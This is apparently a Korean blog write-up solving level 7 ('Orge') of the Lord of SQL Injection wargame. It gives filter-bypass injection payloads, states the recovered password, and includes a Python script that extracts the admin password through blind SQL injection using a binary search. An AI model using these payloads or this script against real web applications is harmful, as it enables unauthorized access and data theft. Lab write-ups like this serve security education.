반응형
[Level 7. Orge] Sol → ?pw=7b751aec
7단계는 4단계와 6단계를 섞은 문제이다.
6단계와 마찬가지로 or/and를 사용하지 못하고, 4단계와 마찬가지로 id가 admin인 pw를 맞춰야 하기 때문에 Blind SQL를 사용해야 한다.
6단계에서 or를 ||로 표현했기 때문에, and는 &&으로 표현해줬는데, url에서는 &를 아스키코드로 변환한 %26로 넣어줘야 and로 인식이 됐다.
?pw=' || id = 'admin' %26%26 length(pw) > 5 %23를 넣어 pw의 길이 추론을 시작하였다.
길이를 점점 늘리다가 8이 되는 순간 Hello admin이 표시되지 않았고, ?pw=' || id = 'admin' %26%26 length(pw) = 8 %23을 넣어 확인을 해주니 Hello admin이 표시되었다.
비밀번호의 길이가 8 임을 알 수 있다.
그래서 그다음부터는 4단계와 똑같이 자동화 코드를 돌려서 풀어주었다. (사실 길이도 4단계처럼 자동화로 풀 수 있다.)
URL과 cookie를 7단계의 URL과 COOKIE로 바꿔준 후 자동화를 돌려주자.
그런데 python에서는 %23이 아니라 #으로 쳤듯이 %26%26이 아니라 &&으로 쳐주어야 돌아간다. 인코딩의 차이가 조금 있는 것 같다.
def find_pw():
length = find_length()
password = ""
for i in range(length):
s = 1
e = 127
value = 64
while True:
param = {"pw": "' || id = 'admin' && ascii(substring(pw, {}, 1)) = {} #".format(i+1, value)}
print(param)
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
password += chr(value)
break
else:
param = {"pw": "' || id = 'admin' && ascii(substring(pw, {}, 1)) > {} #".format(i+1, value)}
req = requests.get(url, params = param, cookies = cookie)
if "Hello admin" in req.text:
s = value
value = (value + e) // 2
else:
e = value
value = (s + value) // 2
print("비밀번호는: ", password)
find_pw()
비밀번호를 잘 구해주었다.
반응형
'WarGames > SQL Injection' 카테고리의 다른 글
Lord of SQL Injection : Skeleton[10] ~ Golem[11] (0) | 2021.12.01 |
---|---|
Lord of SQL Injection : Troll[8] ~ Vampire[9] (0) | 2021.11.29 |
Lord of SQL Injection : Darkelf[6] (0) | 2021.11.23 |
Lord of SQL Injection : Wolfman[5] (0) | 2021.11.22 |
Lord of SQL Injection : Orc[4] (0) | 2021.11.13 |
댓글